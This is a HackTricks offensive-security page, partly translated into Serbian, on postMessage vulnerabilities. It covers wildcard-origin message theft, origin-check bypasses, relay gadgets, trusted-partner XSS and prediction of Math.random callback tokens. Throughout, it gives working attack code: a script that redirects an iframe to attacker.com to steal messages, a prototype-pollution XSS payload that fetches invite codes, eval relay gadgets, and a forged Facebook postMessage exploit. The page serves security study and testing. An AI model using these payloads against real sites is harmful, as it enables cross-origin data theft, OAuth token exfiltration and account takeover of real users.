PostMessage Ranljivosti
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Slanje PostMessage
PostMessage koristi sledeću funkciju za slanje poruke:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Imajte na umu da targetOrigin može biti ‘*’ ili URL kao https://company.com.
U drugom scenariju, poruka se može poslati samo na taj domen (čak i ako je origin window object drugačiji).
Ako se koristi wildcard, poruke mogu biti poslate na bilo koji domen, i biće poslate na origin Window object-a.
Napad na iframe & wildcard u targetOrigin
Kao što je objašnjeno u this report, ako pronađete stranicu koja se može iframed (nema X-Frame-Header zaštitu) i koja šalje osetljivu poruku putem postMessage koristeći wildcard (*), možete izmeniti origin iframe i leak osetljivu poruku na domen pod vašom kontrolom.
Imajte na umu da ako se stranica može iframed, ali je targetOrigin podešen na URL a ne na wildcard, ovaj trik neće raditi.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener exploitation
addEventListener je funkcija koju JS koristi da deklariše funkciju koja očekuje postMessages.
Koristiće se kod sličan sledećem:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).
Enumeration
In order to find event listeners in the current page you can:
- Search the JS code for
window.addEventListenerand$(window).on(JQuery version) - Execute in the developer tools console:
getEventListeners(window)
 (1).png)
- Go to Elements –> Event Listeners in the developer tools of the browser
.png)
- Use a browser extension like https://github.com/benso-io/posta or https://github.com/fransr/postMessage-tracker. This browser extensions will intercept all the messages and show them to you.
Origin check bypasses
event.isTrustedattribute is considered secure as it returnsTrueonly for events that are generated by genuine user actions. Though it’s challenging to bypass if implemented correctly, its significance in security checks is notable.- The use of
indexOf()for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
- The
search()method fromString.prototype.search()is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
The
match()function, similar tosearch(), processes regex. If the regex is improperly structured, it might be prone to bypassing. -
The
escapeHtmlfunction is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledgehasOwnProperty, theescapeHtmlwon’t perform as expected. This is demonstrated in the examples below: -
Očekivani neuspeh:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- Zaobilaženje escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
In the context of this vulnerability, the File object is notably exploitable due to its read-only name property. This property, when used in templates, is not sanitized by the escapeHtml function, leading to potential security risks.
- The
document.domainproperty in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.
Origin-only trust + trusted relays
If a receiver only checks event.origin (e.g., trusts any *.trusted.com) you can often find a “relay” page on that origin that echoes attacker-controlled params via postMessage to a supplied targetOrigin/targetWindow. Examples include marketing/analytics gadgets that take query params and forward {msg_type, access_token, ...} to opener/parent. You can:
- Open the victim page in a popup/iframe that has an
openerso its handlers register (many pixels/SDKs only attach listeners whenwindow.openerexists). - Navigate another attacker window to the relay endpoint on the trusted origin, populating message fields you want injected (message type, tokens, nonces).
- Because the message now comes from the trusted origin, origin-only validation passes and you can trigger privileged behaviors (state changes, API calls, DOM writes) in the victim listener.
Abuse patterns seen in the wild:
- Analytics SDKs (e.g., pixel/fbevents-style) consume messages like
FACEBOOK_IWL_BOOTSTRAP, then call backend APIs using a token supplied in the message and includelocation.href/document.referrerin the request body. If you supply your own token, you can read these requests in the token’s request history/logs and exfil OAuth codes/tokens present in the URL/referrer of the victim page. - Any relay that reflects arbitrary fields into
postMessagelets you spoof message types expected by privileged listeners. Combine with weak input validation to reach Graph/REST calls, feature unlocks, or CSRF-equivalent flows.
Hunting tips: enumerate postMessage listeners that only check event.origin, then look for same-origin HTML/JS endpoints that forward URL params via postMessage (marketing previews, login popups, OAuth error pages). Stitch both together with window.open() + postMessage to bypass origin checks.
e.origin == window.origin bypass
When embedding a web page within a sandboxed iframe using %%%%%%, it’s crucial to understand that the iframe’s origin will be set to null. This is particularly important when dealing with sandbox attributes and their implications on security and functionality.
By specifying allow-popups in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the allow-popups-to-escape-sandbox attribute is also included, the popup window’s origin is similarly set to null, aligning with the iframe’s origin.
Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using postMessage, both the sending and receiving ends have their origins set to null. This situation leads to a scenario where e.origin == window.origin evaluates to true (null == null), because both the iframe and the popup share the same origin value of null.
For more information read:
Bypassing SOP with Iframes - 1
Bypassing e.source
It’s possible to check if the message came from the same window the script is listening in (specially interesting for Content Scripts from browser extensions to check if the message was sent from the same page):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
Možete prisiliti da vrednost e.source poruke bude null tako što ćete napraviti iframe koji šalje postMessage i koji se odmah obriše.
Za više informacija pročitajte:
Bypassing SOP with Iframes - 2
X-Frame-Header bypass
Da biste izveli ove napade, idealno bi bilo da možete staviti web stranicu žrtve unutar iframe. Ali neki headeri kao X-Frame-Header mogu to sprečiti u pogledu ponašanja.
U tim scenarijima i dalje možete upotrebiti manje prikriven napad. Možete otvoriti novu karticu prema ranjivoj web aplikaciji i komunicirati s njom:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Krađa poruke poslate child blokiranjem main stranice
Na sledećoj stranici možete videti kako možete ukrasti sensitive postmessage data poslatu u child iframe blokiranjem main stranice pre slanja podataka i zloupotrebom XSS in the child da leak podatke pre nego što budu primljeni:
Blocking main page to steal postmessage
Krađa poruke promenom location iframe-a
Ako možete iframe-ovati web stranicu bez X-Frame-Header koja sadrži drugi iframe, možete change the location of that child iframe, tako da ako prima postmessage poslat koristeći wildcard, napadač bi mogao change taj iframe origin na stranicu controlled by him i steal poruku:
Steal postmessage modifying iframe location
postMessage to Prototype Pollution and/or XSS
U scenarijima gde podaci poslati putem postMessage budu izvršeni od strane JS, možete iframe stranicu i exploit prototype pollution/XSS slanjem exploita preko postMessage.
Par veoma dobro objašnjenih XSS kroz postMessage može se naći na https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Primer exploita za zloupotrebu Prototype Pollution and then XSS kroz postMessage ka iframe:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
Za više informacija:
- Poveznica na stranicu o prototype pollution
- Poveznica na stranicu o XSS
- Poveznica na stranicu o client side prototype pollution to XSS
Učitavanje skripti zasnovano na origin-u i supply-chain pivot (studija slučaja CAPIG)
capig-events.js je registrovao message handler samo kada je postojao window.opener. Na IWL_BOOTSTRAP je proverio pixel_id, ali je sačuvao event.origin i kasnije ga koristio da izgradi ${host}/sdk/${pixel_id}/iwl.js.
Handler koji zapisuje origin kontrolisan napadačem
```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```Exploit (origin → script-src pivot):
- Get an opener: npr., u Facebook Android WebView ponovo iskoristite
window.namesawindow.open(target, name)tako da prozor postane njegov sopstveni opener, zatim post a message iz malicioznog iframe-a. - Send
IWL_BOOTSTRAPfrom any origin da biste persitovalihost = event.originulocalStorage. - Host
/sdk/<pixel_id>/iwl.json any CSP-allowed origin (takeover/XSS/upload na whitelisted analytics domain).startIWL()zatim učitava attacker JS u embedding site (npr.,www.meta.com), omogućavajući credentialed cross-origin pozive i account takeover.
Ako direktna kontrola opener-a nije bila moguća, kompromitovanje third-party iframe-a na stranici je i dalje omogućavalo slanje crafted postMessage roditeljskom prozoru kako bi se ‘poison’-ovao sačuvani host i prisililo učitavanje skripte.
Backend-generated shared script → stored XSS: plugin AHPixelIWLParametersPlugin je konkatenirao user rule parametre u JS dodat u capig-events.js (npr., cbq.config.set(...)). Injektovanjem breakouts poput "]} ubačen je arbitrary JS, stvarajući stored XSS u shared script-u koji je poslužen svim sajtovima koji ga učitavaju.
Trusted-origin allowlist isn’t a boundary
A strict event.origin check radi samo ako trusted origin ne može da izvršava attacker JS. Kada privilegovane stranice embed-u third-party iframe-ove i pretpostave da je event.origin === "https://partner.com" bezbedno, bilo koji XSS na partner.com postaje most ka parent-u:
// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})
Obrazac napada primećen u stvarnom svetu:
- Exploit XSS in the partner iframe i ubaci relay gadget tako da svaki
postMessagepostane code exec unutar trusted origin:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
- Sa attacker stranice, pošaljite JS u kompromitovani iframe koji prosleđuje allowed message type nazad parent. Poruka potiče od
partner.com, prolazi allowlist i sadrži HTML koji se nesigurno ubacuje:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
- Roditeljski prozor ubacuje napadačev HTML, dajući JS izvršavanje u parent origin-u (npr.
facebook.com), što se potom može iskoristiti za krađu OAuth kodova ili pivot ka potpunom preuzimanju naloga.
Key takeaways:
- Partner origin isn’t a boundary: bilo koji XSS u “poverljivom” partneru dozvoljava napadačima da šalju dozvoljene poruke koje zaobiđu
event.originprovere. - Handleri koji renderuju payload-e kontrolisane od strane partnera (npr.
innerHTMLza određene tipove poruka) pretvaraju kompromitovanog partnera u same-origin DOM XSS. - Široka message surface (mnogo tipova, bez validacije strukture) daje više gadgeta za pivot nakon kompromitovanja partner iframe-a.
Predicting Math.random() callback tokens in postMessage bridges
Kada validacija poruka koristi „shared secret” generisan sa Math.random() (npr. guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) i isti helper takođe imenuje plugin iframe-ove, možete rekonstruisati PRNG izlaze i falsifikovati poverljive poruke:
- Leak PRNG outputs via
window.name: SDK automatski imenuje plugin iframe-ove saguid(). Ako kontrolišete top frame, iframe-ujte victim stranicu, zatim navigirajte plugin iframe na vašu origin (npr.window.frames[0].frames[0].location='https://attacker.com') i pročitajtewindow.frames[0].frames[0].nameda biste dobili rawMath.random()izlaz. - Force more outputs without reloads: Neki SDK-ovi izlažu reinit put; u FB SDK, slanje
init:postsa{xfbml:1}forsiraXFBML.parse(), uništava/rekreira plugin iframe i generiše nova imena/callback ID-e. Ponovljeni reinit proizvodi onoliko PRNG izlaza koliko treba (imajte na umu dodatne interneMath.random()pozive za callback/iframe ID-e, tako da solveri moraju preskočiti međuvrednosti). - Trusted-origin delivery via parameter pollution: Ako first-party plugin endpoint reflektuje nesanitizovan parametar u cross-window payload (npr.
/plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), možete injektovati&type=...&iconSVG=...dok zadržavate poverljivifacebook.comorigin. - Predict the next callback: Konvertujte procurena iframe imena nazad u float vrednosti u
[0,1)i ubacite nekoliko vrednosti (čak i neuzastopne) u V8Math.randomprediktor (npr. zasnovan na Z3). Generišite naredniguid()lokalno da falsifikujete očekivani callback token. - Trigger the sink: Sastavite postMessage podatke tako da bridge dispatc-uje
xd.mpn.setupIconIframei ubaci HTML uiconSVG(npr. URL-encoded<img src=x onerror=...>), postižući DOM XSS unutar hosting origina; odatle se mogu čitati same-origin iframe-ovi (OAuth dialogs, arbitri, itd.). - Framing quirks help: Lanac zahteva framing. U nekim mobile webview-ima,
X-Frame-Optionsmože degradirati u nepodržaniALLOW-FROMkada je prisutanframe-ancestors, a “compat” parametri mogu forsirati permisivneframe-ancestors, omogućavajućiwindow.nameside channel.
Minimal forged message example
// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback
Reference
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Za vežbu: https://github.com/yavolo/eventlistener-xss-recon
- CAPIG postMessage origin trust → script loading + stored JS injection
- Self XSS Facebook Payments
- Facebook JavaScript SDK Math.random callback prediction → DOM XSS writeup
- V8 Math.random() state recovery (Z3 predictor)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


